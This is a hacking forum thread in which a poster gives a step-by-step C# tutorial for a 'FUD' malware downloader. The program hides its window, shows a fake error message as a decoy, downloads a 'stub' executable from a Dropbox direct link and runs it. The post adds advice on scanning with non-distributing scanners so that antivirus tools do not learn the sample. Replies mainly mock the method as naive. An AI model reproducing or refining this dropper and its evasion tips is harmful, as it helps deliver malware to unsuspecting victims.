Thread: [FUD yourself - Visual Studio C#](#)

TurtleHex - April 15, 2018, 5:58 am

Hello, I am new to hackfourms. So i thought id make a post. feel free to leave feedback on your profile

PLEASE NOTE (SCAN TIME ONLY) Also if you are having trouble just message me

Okay so the first thing to do is start a new project on visual studio and name it whatever

Make form1 opacity 0 once you have done that type this line of code in form1.

"MessageBox.Show("YOUR ERROR");" Then go back to form1 and make ShowInTaskbar False!

Now once you have done all that you want to go and upload your stub to Dropbox. Now you want to make a direct link and to do that you can just search on google for google drive direct link creator and paste your link to dropbox. Once you have done that you want to go back to your code on paste this

```
WebClient Client = new WebClient();
    string upt = System.IO.Path.GetDirectoryName(Application.ExecutablePath);
    Client.DownloadFile("YOUR LINK", upt + @"\upt.exe");
    Thread.Sleep(3);
    Process.Start(upt + @"\upt.exe");
    Application.Exit();
```

And that's pretty much it! Please use no distribute to scan your stub!

Yea it's just a downloader....

If the file (directlink) is not FUD it will 100% be detected on start up

Thanks for the free share tho brother.

Nice try OP. but again, It defeats the purpose of calling it "FUD."

:P

zhouyu - *April 17, 2018, 2:49 am*

Nice,
So naive method :D

Ren And Stimpy - *April 17, 2018, 5:58 am*

You can make (scantime) FUD just with winrar. LOL

Still nice share for some people learning.
